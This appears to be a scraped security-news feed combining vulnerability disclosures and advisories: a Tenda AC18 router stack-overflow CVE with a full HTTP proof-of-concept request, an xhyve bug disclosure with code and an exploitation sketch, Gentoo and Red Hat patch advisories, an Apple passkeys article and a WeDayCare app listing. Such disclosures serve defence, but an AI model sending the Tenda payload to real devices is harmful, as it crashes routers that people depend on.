Tenda AC18 router v15.03.05.19 and v15.03.05.05 was discovered to contain a stack overflow via the list parameter at /goform/SetIpMacBind.

**Tenda AC18 Unauthorized stack overflow vulnerability******1\. Affected version:****

V15.03.05.05\_multi and V15.03.05.19\_multi

****2\. Firmware download address****

https://www.tenda.com.cn/download/detail-2683.html

****3\. Vulnerability details****

In function fromSetIpMacBind, the content obtained by the program from the list parameter is passed to V22, and then the V22 is directly copied into the dest stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

****4\. Recurring vulnerabilities and POC****

In order to reproduce the vulnerability, the following steps can be followed:

1.Use the fat simulation firmware V15.03.05.19\_multi

2.Attack with the following overflow POC attacks

    POST /goform/SetIpMacBind HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: /
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 47
    Origin: http://192.168.0.1
    Connection: close
    Referer: http://192.168.0.1/ip_mac_bind.html?random=0.09748691576858626&
    Cookie: password=0d403f6ad9aea37a98da9255140dbf6eewxcvb
    
    bindnum=1&list=02:03:04:05:06:07192.168.0.111aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

This PoC can result in a Dos.

CVE-2022-38312: NWPU_Projct/Tenda/AC18/3 at main · rickytriky/NWPU_Projct

With iOS 16 and macOS Ventura, Apple is introducing passkeys—a more convenient and secure alternative to passwords.

For years, we’ve been promised the end of password-based logins. Now the reality of a passwordless future is taking a big leap forward, with the ability to ditch passwords being rolled out for millions of people. When Apple launches iOS 16 on September 12 and macOS Ventura next month, the software will include its password replacement, known as passkeys, for iPhones, iPads, and Macs.

Passkeys allow you to log in to apps and websites, or create new accounts, without having to create, memorize, or store a password. This passkey, which is made up of a cryptographic key pair, replaces your traditional password and is synced across iCloud’s Keychain. It has the potential to eliminate passwords and improve your online security, replacing the insecure passwords and bad habits you probably have now.

Apple’s rollout of passkeys is one of the largest implementations of password-free technology to date and builds on years of work by the FIDO Alliance, an industry group made up of tech’s biggest companies. Apple’s passkeys are its version of the standards created by the FIDO Alliance, meaning they will eventually work with Google, Microsoft, Meta, and Amazon’s systems.

What Is a Passkey?

Using a passkey is similar to using a password. On Apple’s devices, it’s built into the traditional password boxes that websites and apps use to get you to log in. Passkeys act as a unique digital key and can be created for each app or website you use. (The word “passkey” is also being used by Google and Microsoft, with FIDO calling them “multi-device FIDO credentials.”)

If you are new to an app or a website, there’s the potential that you can create a passkey instead of a password from the start. But for services where you already have an account, it’s likely you will need to log in to that existing account using your password and then create a passkey.

Apple’s demonstrations of the technology show a prompt appearing on your devices during the sign-in or account-creation phase. This box will ask whether you would like to “save a passkey” for the account you are using. At this stage, your device will prompt you to use Face ID, Touch ID, or another authentication method to create the passkey.

Once created, the passkey can be stored in iCloud’s Keychain and synced across multiple devices—meaning your passkeys will be available on your iPad and MacBook without any extra work. Passkeys work in Apple’s Safari web browser as well as on its devices. They can also be shared with nearby Apple devices using AirDrop.

As Apple’s passkeys are based on the wider passwordless standards created by the FIDO Alliance, there’s the potential that they can be stored elsewhere, too. For instance, password manager Dashlane has already announced its support for passkeys, claiming it is an “independent and universal solution agnostic of the device or platform.”

While Apple is launching passkeys with iOS 16 and macOS Ventura, there are several caveats to its rollout. First, you need to update your devices to the new operating system. Second is that apps and websites need to support the use of passkeys—they can do this by using the FIDO standards. Ahead of Apple’s updates, it isn’t clear which apps or websites are already supporting passkeys, although Apple first previewed the technology to developers at its developer conference in 2021.

How Do Apple’s Passkeys Work?

Under the hood, Apple’s passkeys are based on the Web Authentication API (WebAuthn), which was developed by the FIDO Alliance and World Wide Web Consortium (WC3). The passkeys themselves use public key cryptography to protect your accounts. As a result, a passkey isn’t something that can (easily) be typed.

When you create a passkey, a pair of related digital keys are created by your system. “These keys are generated by your devices, securely and uniquely, for every account,” Garrett Davidson, an engineer on Apple’s authentication experience team, said in a video about passkeys. One of these keys is public and stored on Apple’s servers, while the other key is a secret key and stays on your device at all times. “The server never learns what your private key is, and your devices keep it safe,” Davidson said.

Apple’s Killing the Password. Here’s Everything You Need to Know

Gentoo Linux Security Advisory 202209-5 - Multiple vulnerabilities have been found in OpenJDK, the worst of which could result in denial of service. Versions less than 17.0.2_p8:17 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202209-05  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Low  
    Title: OpenJDK: Multiple Vulnerabilities  
     Date: September 07, 2022  
     Bugs: #803605, #831446, #784611  
       ID: 202209-05

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been found in OpenJDK, the worst of which  
could result in denial of service.

Background  
==========

OpenJDK is an open source implementation of the Java programming  
language.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  dev-java/openjdk           < 17.0.2_p8:17        >= 17.0.2_p8:17  
                                < 11.0.14_p9:11      >= 11.0.14_p9:11  
                                < 8.322_p06:8          >= 8.322_p06:8  
  2  dev-java/openjdk-bin       < 17.0.2_p8:17        >= 17.0.2_p8:17  
                                < 11.0.14_p9:11      >= 11.0.14_p9:11  
                                < 8.322_p06:8          >= 8.322_p06:8  
  3  dev-java/openjdk-jre-bin   < 17.0.2_p8:17        >= 17.0.2_p8:17  
                                < 11.0.14_p9:11      >= 11.0.14_p9:11  
                                < 8.322_p06:8          >= 8.322_p06:8

Description  
===========

Multiple vulnerabilities have been discovered in OpenJDK. Please review  
the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All OpenJDK 8 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-8.322_p06:8"

All OpenJDK 8 JRE binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-jre-bin-8.322_p06:8"

All OpenJDK 8 binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-bin-8.322_p06:8"

All OpenJDK 11 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-11.0.14_p9:11"

All OpenJDK 11 JRE binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-jre-bin-11.0.14_p9:11"

All OpenJDK 11 binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-bin-11.0.14_p9:11"

All OpenJDK 17 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-17.0.2_p8:17"

All OpenJDK 17 JRE binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-jre-bin-17.0.2_p8:17"

All OpenJDK 17 binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/openjdk-bin-17.0.2_p8:17"

References  
==========

[ 1 ] CVE-2021-2161  
      https://nvd.nist.gov/vuln/detail/CVE-2021-2161  
[ 2 ] CVE-2021-2163  
      https://nvd.nist.gov/vuln/detail/CVE-2021-2163  
[ 3 ] CVE-2021-2341  
      https://nvd.nist.gov/vuln/detail/CVE-2021-2341  
[ 4 ] CVE-2021-2369  
      https://nvd.nist.gov/vuln/detail/CVE-2021-2369  
[ 5 ] CVE-2021-2388  
      https://nvd.nist.gov/vuln/detail/CVE-2021-2388  
[ 6 ] CVE-2021-2432  
      https://nvd.nist.gov/vuln/detail/CVE-2021-2432  
[ 7 ] CVE-2021-35550  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35550  
[ 8 ] CVE-2021-35556  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35556  
[ 9 ] CVE-2021-35559  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35559  
[ 10 ] CVE-2021-35561  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35561  
[ 11 ] CVE-2021-35564  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35564  
[ 12 ] CVE-2021-35565  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35565  
[ 13 ] CVE-2021-35567  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35567  
[ 14 ] CVE-2021-35578  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35578  
[ 15 ] CVE-2021-35586  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35586  
[ 16 ] CVE-2021-35588  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35588  
[ 17 ] CVE-2021-35603  
      https://nvd.nist.gov/vuln/detail/CVE-2021-35603  
[ 18 ] CVE-2022-21248  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21248  
[ 19 ] CVE-2022-21271  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21271  
[ 20 ] CVE-2022-21277  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21277  
[ 21 ] CVE-2022-21282  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21282  
[ 22 ] CVE-2022-21283  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21283  
[ 23 ] CVE-2022-21291  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21291  
[ 24 ] CVE-2022-21293  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21293  
[ 25 ] CVE-2022-21294  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21294  
[ 26 ] CVE-2022-21296  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21296  
[ 27 ] CVE-2022-21299  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21299  
[ 28 ] CVE-2022-21305  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21305  
[ 29 ] CVE-2022-21340  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21340  
[ 30 ] CVE-2022-21341  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21341  
[ 31 ] CVE-2022-21349  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21349  
[ 32 ] CVE-2022-21360  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21360  
[ 33 ] CVE-2022-21365  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21365  
[ 34 ] CVE-2022-21366  
      https://nvd.nist.gov/vuln/detail/CVE-2022-21366

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202209-05

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202209-05

xhyve commit dfbe09b was discovered to contain a NULL pointer dereference via the component vi_pci_read(). This vulnerability allows attackers to cause a Denial of Service via unspecified vectors.

**Foreword**

Earlier this year, I stumbled upon an interesting advisory from ZDI, which was yet to be published back then.

It said that a vulnerability exits in xhyve, and was scheduled to be disclosed in a month.

So I decided to do a code review of xhyve, to see that if I could locate the bug before the disclosure.

In the end, I find 4 bugs, all of them are technically 1-Day, and have been already fixed in the upstream or downstream projects.

Unfortunately, ZDI did not publish this advisory untill recently, so I was not sure if any one of these 4 bugs was the one mentioned in the advisory.

Turns out, I did find it, and it is a bug in ./src/pci_e82545.c:1410, the e1000 virtual device code and has been found and fixed in xhyve’s upstream project bhyve.

Since ZDI still gives CVE-2022-35867 to this bug, I guess it makes sense to do a responsible disclosure of the other 3 bugs here.

All of the other 3 bugs were found by GitHub Security Lab in HyperKit, a project based on xhyve, and disclosed in GHSL-2021-054\_057 advisory.

> HyperKit is a toolkit for embedding hypervisor capabilities in your application. It includes a complete hypervisor, based on xhyve/bhyve, which is optimized for lightweight virtual machines and container deployment. It is designed to be interfaced with higher-level components such as the VPNKit and DataKit.

Since the security patches in HyperKit were not upstreamed, the latest version of xhyve still has these 4 bugs.

**pci\_virtio\_rnd vc\_cfgread NULL Pointer Dereference**

Virtio devices use struct virtio_consts to register handler functions for device IO.

    struct virtio_consts {
    	/* name of driver (for diagnostics) */
    	const char *vc_name;
    	/* number of virtual queues */
    	int vc_nvq;
    	/* size of dev-specific config regs */
    	size_t vc_cfgsize;
    	/* called on virtual device reset */
    	void (*vc_reset)(void *);
    	/* called on QNOTIFY if no VQ notify */
    	void (*vc_qnotify)(void *, struct vqueue_info *);
    	/* called to read config regs */
    	int (*vc_cfgread)(void *, int, int, uint32_t *);
    	/* called to write config regs */
    	int (*vc_cfgwrite)(void *, int, int, uint32_t);
    	/* called to apply negotiated features */
    	void (*vc_apply_features)(void *, uint64_t);
    	/* hypervisor-provided capabilities */
    	uint64_t vc_hv_caps;
    };
    

In the case of pci\_virtio\_rnd, a virtio entropy device emulation, vc_cfgread is initialized to NULL.

    static struct virtio_consts vtrnd_vi_consts = {
    	"vtrnd", /* our name */
    	1, /* we support 1 virtqueue */
    	0, /* config reg size */
    	pci_vtrnd_reset, /* reset */
    	pci_vtrnd_notify, /* device-wide qnotify */
    	NULL, /* read virtio config */
    	NULL, /* write virtio config */
    	NULL, /* apply negotiated features */
    	0, /* our capabilities */
    };
    

Yet, in vi_pci_read(), the existance of the vc_cfgread handler is not checked.

    error = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);
    

So, when a malicious guest triggers the vc_cfgread IO, a null pointer dereference will crash the guest vm process.

**pci\_virtio\_rnd vc\_cfgwrite NULL Pointer Dereference**

Similarly, in vi_pci_write(), the existance of the vc_cfgwrite handler is also not checked.

    error = (*vc->vc_cfgwrite)(DEV_SOFTC(vs), ((int) newoff), size,
        ((uint32_t) value));
    

So, when a malicious guest triggers the vc_cfgwrite IO, a null pointer dereference will crash the guest vm process.

**pci\_virtio\_rnd Uninitialized Stack Buffer Usage**

In the pci_vtrnd_notify() handler function, the return value of vq_getchain() is not checked, so if it returns due to some failed check,

iov stack variable will be left uninitialized, and iov.iov_base will be used as the buffer to store random data read form sc->vrsc_fd.

    static void
    pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
    {
        struct iovec iov;
            ...
            vq_getchain(vq, &idx, &iov, 1, NULL);
    
            len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
            ...
    

Theoretically, this bug is exploitable. One possible way is to leave an address of the length of some buffer on the stack as iov.iov_base.

Since the data from sc->vrsc_fd is typically very large, we can overwrite the length with a larger value and achieve an OOB read/write primitive.

However, during my brief test, the stack position of iov seems to be too shallow to avoid being overwritten before pci_vtrnd_notify() is actually reached.

**Afterword**

At the time of writing, July 21, 2022, all of these 4 bugs have not been fixed by xhyve, and the project’s last commit was back on Oct 2, 2021.

Besides, none of the issues, open or closed, mentions any of these 4 bugs.

According to my understanding, Homebrew and MacPorts do not provide aditional security patch themselves,

so both builds from their repository are also affected.

Sometimes, maintainers of some small open source projects may not be able to do a timely fix.

Until then, xhyve users may remove the pci\_virtio\_rnd and e1000 device from their vm.

**Reference**

1.  https://github.com/machyve/xhyve
2.  https://github.com/moby/hyperkit
3.  https://www.zerodayinitiative.com/advisories/ZDI-22-949/
4.  https://securitylab.github.com/advisories/GHSL-2021-054\_057-moby-hyperkit/
5.  https://www.freebsd.org/security/advisories/FreeBSD-SA-19:21.bhyve.asc

CVE-2022-36661: Disclose Three Bugs in xhyve

WeDayCare B.V Ouderapp before v1.1.22 allows attackers to alter the ID value within intercepted calls to gain access to data of other parents and children.

Met de ‘Eigen & Wijzer ouderapp’ kijkt u mee met de belevenissen van uw kind(eren) bij Eigen&Wijzer Kinderopvang. U kunt foto’s bekijken, berichten van de groep en de locatie lezen en versturen en de ontwikkelingen van uw kind(eren) volgen. Het is via de app mogelijk om opvangdagen aan te vragen, te ruilen en de afwezigheid door te geven. U kunt tevens de facturen, jaaropgaven en andere documenten inzien.

Om gebruik te maken van deze App moet je kinderdagverblijf organisatie aangesloten zijn bij Wedaycare.com.

**Nieuw**

Met de WeDayCare App staan ouders direct in contact met het kinderdagverblijf. Blijf dagelijks op de hoogte van alle leuke momenten tijdens de dag op de opvang. Met de app kun je foto’s bekijken, dagelijks schriftje inzien en berichten sturen met de medewerkers van de groep. Daarnaast kun je ook extra opvang of ruildagen aanvragen en afwezigheid doorgeven.

Om gebruik te maken van deze App moet je kinderdagverblijf organisatie aangesloten zijn bij Wedaycare.com.

**Beoordelingen en recensies**

2,8 van 5

9 beoordelingen

**Prima app, kleine bug**

> Prima handige app. Snel communicatie met opvang, vrije dagen aanvraag etc werkt goed. Alleen bij reactie dat er nieuwe invoer in het dagboek is moet je 2x het dagboek openen voordat het bericht geladen wordt

**Verschrikkelijk app**

> Kan geen eens foto download en heb een iPhone 13 pro Max. Niet in de berichten of in het fotoalbum. Dat is het enige waarom ik de app heb. Zou 0 sterren geven als dat kon.

> Beste Nore,
> 
> Waarschijnlijk heb je geen toestemming gegeven dat de app foto's kan downloaden op je telefoon. Zou je anders de app willen verwijderen en opnieuw willen installeren? Hierna krijg je de vraag zodra je de eerste foto download om toestemming te geven voor het downloaden van foto's. We horen graag of het gelukt is. Zou je ons willen mailen op support@wedaycare.com. Bedankt

**Werkt super!**

> Erg fijn om zo op de hoogte gehouden te worden. App werkt goed!

> Fijn om te horen. Mocht je nog suggesties hebben horen wij het graag via support@wedaycare.com

**App-privacy**

De ontwikkelaar, Wedaycare B.V., heeft aangegeven dat volgens de toepassing van het privacybeleid van de app gegevens kunnen worden beheerd zoals hieronder staat beschreven. Ga voor meer informatie naar het privacybeleid van de ontwikkelaar.

**Er worden geen gegevens verzameld**

De ontwikkelaar verzamelt geen gegevens van deze app.

Toepassing van het privacybeleid kan variëren op basis van bijvoorbeeld de functies die je gebruikt of je leeftijd. Lees meer

**Informatie**

Provider

Wedaycare B.V.

Grootte

34,5 MB

Categorie

Onderwijs

Compatibiliteit

iPhone

Vereist iOS 12.0 of nieuwer.

iPad

Vereist iPadOS 12.0 of nieuwer.

iPod touch

Vereist iOS 12.0 of nieuwer.

Mac

Vereist een Mac met macOS 11.0 of nieuwer én Apple M1-chip of nieuwer.

Leeftijd

4+

Copyright

© WeDayCare

Prijs

Gratis

*   App-support
*   Privacybeleid

*   App-support
*   Privacybeleid

**Meer van deze ontwikkelaar**

**Suggesties voor jou**

CVE-2022-36539: ‎Eigen&Wijzer Ouderapp

Red Hat Security Advisory 2022-6381-01 - The Open Virtual Machine Tools are the open source implementation of the VMware Tools. They are a set of guest operating system virtualization components that enhance performance and user experience of virtual machines. Issues addressed include a privilege escalation vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: open-vm-tools security update  
Advisory ID:       RHSA-2022:6381-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6381  
Issue date:        2022-09-07  
CVE Names:         CVE-2022-31676   
=====================================================================

1. Summary:

An update for open-vm-tools is now available for Red Hat Enterprise Linux  
7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64  
Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64  
Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Server (v. 7) - x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

3. Description:

The Open Virtual Machine Tools are the open source implementation of the  
VMware Tools. They are a set of guest operating system virtualization  
components that enhance performance and user experience of virtual  
machines.

Security Fix(es):

* open-vm-tools: local root privilege escalation in the virtual machine  
(CVE-2022-31676)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2118714 - CVE-2022-31676 open-vm-tools: local root privilege escalation in the virtual machine

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
open-vm-tools-11.0.5-3.el7_9.4.src.rpm

x86_64:  
open-vm-tools-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-desktop-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64:  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-devel-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-test-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux ComputeNode (v. 7):

Source:  
open-vm-tools-11.0.5-3.el7_9.4.src.rpm

x86_64:  
open-vm-tools-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-desktop-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

x86_64:  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-devel-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-test-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
open-vm-tools-11.0.5-3.el7_9.4.src.rpm

x86_64:  
open-vm-tools-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-desktop-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

x86_64:  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-devel-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-test-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
open-vm-tools-11.0.5-3.el7_9.4.src.rpm

x86_64:  
open-vm-tools-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-desktop-11.0.5-3.el7_9.4.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64:  
open-vm-tools-debuginfo-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-devel-11.0.5-3.el7_9.4.x86_64.rpm  
open-vm-tools-test-11.0.5-3.el7_9.4.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-31676  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYxjGkdzjgjWX9erEAQhHkA//WqMzmiyU1UhloAJ3r2nyY3xmCidmTf0Y  
aPTd8MouzWCCvT9GH9SleGPvsZ6bvmXcVgPKgoa+G237ohcx9P8Bjx/07Fk2CJ7h  
bOHCNOJB/rjB/jsGiIbbm1DuCd1flrkdaBOK0VUyn+pmNffXmpSt32JHfsZyiq0K  
Fxzncp+M0MMkNzB19A9PrpxDdTBhQsyywTnqFZRNNXwLJGiP5DA6sUQLUIOk/JHW  
exbVAKYhqTWhM2g0MMMDXzfRnlLv/a/+MuLrrSOiH1Qw/DeVJDVcQo8AquKSMRNo  
/2PDxG7eULFZjjFPfGOSH0VAbnyxUf1Oo4hL5H2anrekC4T8h6fe3ovy1mKPvbrF  
IcoGGlKdR8W6dVCicE0S8e2cxM+rME75VzjHhWnboMZJnXVQyHc+057rGtmtdf5a  
7T/YaPt4xUZTVrsTlLj9YnOYDx8npA57xuF2muy+eIkGuAn8p2gBFb/PGDPBJQIK  
liLcvFJGZjd35Np4rcAKonfmVkv8FDFtyyTBkSUdwEeHyVT4Ez2eq1q8lRk0JBXp  
GQMR88qRmP+j7msnxGvUBHLvqeyGpsWhrBs0I3v+PyeuyPN9apx1iU3neG1tZ2mN  
QBrxm2HPxkV4AORzfZG9rzgOtcmWfSgn3/S9PaOaTFmIDUZKvSiAEBnuX1YxeyHh  
c+9oFYJ6QLw=  
=aMsw  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6381-01

Gentoo Linux Security Advisory 202209-4 - Multiple vulnerabilities have been discovered in OpenJPEG, the worst of which could result in arbitrary code execution. Versions less than 2.5.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202209-04  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: OpenJPEG: Multiple Vulnerabilities  
     Date: September 07, 2022  
     Bugs: #783513, #836969, #844064  
       ID: 202209-04

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in OpenJPEG, the worst of  
which could result in arbitrary code execution.

Background  
==========

OpenJPEG is an open-source JPEG 2000 library.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  media-libs/openjpeg        < 2.5.0                      >= 2.5.0

Description  
===========

Multiple vulnerabilities have been discovered in OpenJPEG. Please review  
the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All OpenJPEG 2 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=media-libs/openjpeg-2.5.0"

References  
==========

[ 1 ] CVE-2021-29338  
      https://nvd.nist.gov/vuln/detail/CVE-2021-29338  
[ 2 ] CVE-2022-1122  
      https://nvd.nist.gov/vuln/detail/CVE-2022-1122

Availability  
============

This GLSA and any updates to it are available for viewing at  
